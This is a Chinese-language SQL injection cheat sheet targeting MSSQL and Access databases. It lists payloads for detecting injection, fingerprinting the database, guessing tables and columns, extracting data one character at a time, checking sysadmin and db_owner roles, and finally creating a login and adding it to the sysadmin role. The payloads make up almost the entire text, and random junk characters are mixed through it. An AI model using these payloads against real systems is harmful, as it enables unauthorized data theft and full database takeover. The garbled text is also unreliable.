1.判断是否有注入;and 1=1 ;and 1=2 ^jL44?W}l
2.初步判断是否是mssql ;and user>0 N@_y<7#C
NI"Zocp
3.注入参数是字符'and [查询条件] and ''=' )0I-N)
*0oa2fz%
4.搜索时没过滤参数的'and [查询条件] and '%25'=' q2|x$5
hgYFR6VH
5.判断数据库系统 >"UXY)
OqsuuE
;and (select count(*) from sysobjects)>0 mssql +)h# !/
GR(m+%Vw!
;and (select count(*) from msysobjects)>0 access N6kMl
Z*P/ ubV'
f4\F:YT
dH0>lV
6.猜数据库 ;and (select Count(*) from [数据库名])>0 [qxpu{
&OFVqm^
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 u`B/ 9-K)y
I;AS.y
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 Dd0yQgCu
R4)l4rnO
9.(1)猜字段的ascii值(access) ,h%n5R$:
#2\M(5d
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 9*JxP%8T~X
A$~H`W<yxB
(2)猜字段的ascii值(mssql) _;BNWH
^eoW+OxH
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 7"eIZ
kSJ;kz,_
10.测试权限结构(mssql) ?TDmW8G}J
O d6'bO;G
taVK&ohWx
U/HF6=Wot
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- vGH]7jht
ELG{xN=o
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- MjBI1|*
Vl(id_~ _
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- b*Hk}
!qH
b!QRD'31'j
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 7
mA3&<&q
{R7RBX
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- M_?B*QZJI
blG?("0!
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 1_xkGc-z<
4
q % Gc
;and 1=(select IS_MEMBER('db_owner'));-- u3 +]3!BQ
ok-q9dM
_M>S =3w
cy8r}wD
11.添加mssql和系统的帐户 GAR6nJCz
IAmMO[9H
;exec master.dbo.sp_addlogin username;-- RT%{M1tkS
;exec master.dbo.sp_password null,username,password;-- J1r\Cp+h0
q?w%%.9]X
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- Jn&u